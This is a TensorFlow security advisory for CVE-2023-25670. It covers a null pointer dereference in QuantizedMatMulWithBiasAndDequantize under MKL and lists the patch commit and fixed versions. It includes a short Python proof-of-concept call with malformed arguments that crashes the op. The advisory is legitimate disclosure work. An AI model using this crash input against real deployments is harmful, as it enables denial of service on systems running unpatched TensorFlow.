## TFSA-2023-017: NPE in QuantizedMatMulWithBiasAndDequantize

### CVE Number
CVE-2023-25670

### Impact
NPE in QuantizedMatMulWithBiasAndDequantize with MKL enable 
```python
import tensorflow as tf

func = tf.raw_ops.QuantizedMatMulWithBiasAndDequantize
para={'a': tf.constant(138, dtype=tf.quint8), 'b': tf.constant(4, dtype=tf.qint8), 'bias': [[31.81644630432129, 47.21876525878906], [109.95201110839844, 152.07968139648438]], 'min_a': 141.5337138686371, 'max_a': [73.84139251708984, 173.15280151367188], 'min_b': [], 'max_b': [[16.128345489501953, 193.26820373535156]], 'min_freezed_output': [], 'max_freezed_output': [115.50032806396484, 156.974853515625], 'Toutput': 1.0, 'transpose_a': True, 'transpose_b': False, 'input_quant_mode': 'MIN_FIRST'}

func(**para)
```

### Patches
We have patched the issue in GitHub commit [8a47a39d9697969206d23a523c977238717e8727](https://github.com/tensorflow/tensorflow/commit/8a47a39d9697969206d23a523c977238717e8727).

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1


### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.


### Attribution
This vulnerability has been reported by r3pwnx
